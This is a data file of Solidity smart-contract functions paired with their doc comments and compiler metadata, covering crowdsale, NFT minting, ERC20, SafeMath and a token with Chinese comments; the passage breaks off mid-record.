// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units ... | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they a... | NatSpecMultiLine | forwardFunds | function forwardFunds() internal {
wallet.transfer(msg.value);
}
| // send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2222,
2305
]
} | 11,231 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units ... | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they a... | NatSpecMultiLine | validPurchase | function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
| // @return true if the transaction can buy tokens | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2363,
2511
]
} | 11,232 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units ... | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they a... | NatSpecMultiLine | hasEnded | function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
| // @return true if crowdsale event has ended | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2564,
2672
]
} | 11,233 | |
GCC | contracts/GCC.sol | 0x5c211b8e4f93f00e2bd68e82f4e00fbb3302b35c | Solidity | GCC | contract GCC is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 8888;
uint256 private _reserved = 138;
uint256 private _mintPrice = 0.08 ether;
uint256 public maxOGMintAmount = 3;
... | _baseURI | function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
| // internal | LineComment | v0.8.11+commit.d7f03943 | GNU GPLv3 | ipfs://6f43a975d4c7de338dfe9e12a59c41d8c54f805cf77890b75482ab5b0a7d8039 | {
"func_code_index": [
870,
975
]
} | 11,234 | ||
GCC | contracts/GCC.sol | 0x5c211b8e4f93f00e2bd68e82f4e00fbb3302b35c | Solidity | GCC | contract GCC is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 8888;
uint256 private _reserved = 138;
uint256 private _mintPrice = 0.08 ether;
uint256 public maxOGMintAmount = 3;
... | mint | function mint(uint256 _mintAmount) public payable nonReentrant {
require(!paused, "Minting is not live");
uint256 supply = totalSupply();
require(_mintAmount > 0, "Minimum mint amount is 1");
if (onlyWhitelisted) {
require(oglist[msg.sender] || whitelist[msg.sender], "Address is not whitelisted");
... | // public | LineComment | v0.8.11+commit.d7f03943 | GNU GPLv3 | ipfs://6f43a975d4c7de338dfe9e12a59c41d8c54f805cf77890b75482ab5b0a7d8039 | {
"func_code_index": [
991,
2431
]
} | 11,235 | ||
GCC | contracts/GCC.sol | 0x5c211b8e4f93f00e2bd68e82f4e00fbb3302b35c | Solidity | GCC | contract GCC is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 8888;
uint256 private _reserved = 138;
uint256 private _mintPrice = 0.08 ether;
uint256 public maxOGMintAmount = 3;
... | reveal | function reveal() public onlyOwner {
revealed = true;
}
| //only owner | LineComment | v0.8.11+commit.d7f03943 | GNU GPLv3 | ipfs://6f43a975d4c7de338dfe9e12a59c41d8c54f805cf77890b75482ab5b0a7d8039 | {
"func_code_index": [
3299,
3367
]
} | 11,236 | ||
BuyToken | BuyToken.sol | 0xf55acf113cb1628f27b23d61fe6df12f43294694 | Solidity | Order | contract Order is StandardToken, Ownable {
string public constant name = "Order";
string public constant symbol = "ETH";
uint public constant decimals = 3;
uint256 public initialSupply;
// Constructor
function Order () {
totalSupply = 120000 * 10 ** decimals;
balances[msg.sender] =... | Order | function Order () {
totalSupply = 120000 * 10 ** decimals;
balances[msg.sender] = totalSupply;
initialSupply = totalSupply;
Transfer(0, this, totalSupply);
Transfer(this, msg.sender, totalSupply);
}
| // Constructor | LineComment | v0.4.14+commit.c2215d46 | bzzr://b94e060493113f62d72d0a518bf2478c6266fb378181c2fbc39711e6ecea0539 | {
"func_code_index": [
223,
467
]
} | 11,237 | |||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | SafeMath | contract SafeMath {
// 乘法(internal修饰的函数只能够在当前合约或子合约中使用)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// 除法
function safeDiv(uint256 a, uint256 b) internal pure returns ... | safeMul | function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
| // 乘法(internal修饰的函数只能够在当前合约或子合约中使用) | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
68,
239
]
} | 11,238 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | SafeMath | contract SafeMath {
// 乘法(internal修饰的函数只能够在当前合约或子合约中使用)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// 除法
function safeDiv(uint256 a, uint256 b) internal pure returns ... | safeDiv | function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
| // 除法 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
255,
447
]
} | 11,239 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | SafeMath | contract SafeMath {
// 乘法(internal修饰的函数只能够在当前合约或子合约中使用)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// 除法
function safeDiv(uint256 a, uint256 b) internal pure returns ... | safeSub | function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
assert(b >=0);
return a - b;
}
| // 减法 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
462,
618
]
} | 11,240 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | SafeMath | contract SafeMath {
// 乘法(internal修饰的函数只能够在当前合约或子合约中使用)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// 除法
function safeDiv(uint256 a, uint256 b) internal pure returns ... | safeAdd | function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
| // 加法 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
633,
795
]
} | 11,241 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uin... | transfer | function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定... | // 转账:某个人花费自己的币 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
1432,
2159
]
} | 11,242 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uin... | approve | function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
| // 授权:授权某人花费自己账户中一定数量的token | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
2196,
2392
]
} | 11,243 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uin... | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
... | // 授权转账:被授权人从_from帐号中给_to帐号转了_value个token | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
2446,
3356
]
} | 11,244 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uin... | burn | function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply =... | // 消毁币 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
3372,
3870
]
} | 11,245 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uin... | freeze | function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加... | // 冻结 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
3885,
4440
]
} | 11,246 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uin... | unfreeze | function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的... | // 解冻 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
4455,
4994
]
} | 11,247 | ||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uin... | withdrawEther | function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
| // 管理者自己取钱 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
5014,
5208
]
} | 11,248 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/... | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
96,
156
]
} | 11,249 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/... | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
239,
312
]
} | 11,250 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/... | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
536,
618
]
} | 11,251 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/... | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
897,
985
]
} | 11,252 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/... | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1649,
1728
]
} | 11,253 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/... | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2041,
2143
]
} | 11,254 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
259,
445
]
} | 11,255 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
723,
864
]
} | 11,256 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1162,
1359
]
} | 11,257 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1613,
2089
]
} | 11,258 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2560,
2697
]
} | 11,259 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
3188,
3471
]
} | 11,260 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
3931,
4066
]
} | 11,261 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
4546,
4717
]
} | 11,262 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
883,
971
]
} | 11,263 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1085,
1177
]
} | 11,264 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1810,
1898
]
} | 11,265 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1958,
2063
]
} | 11,266 | ||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
... | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
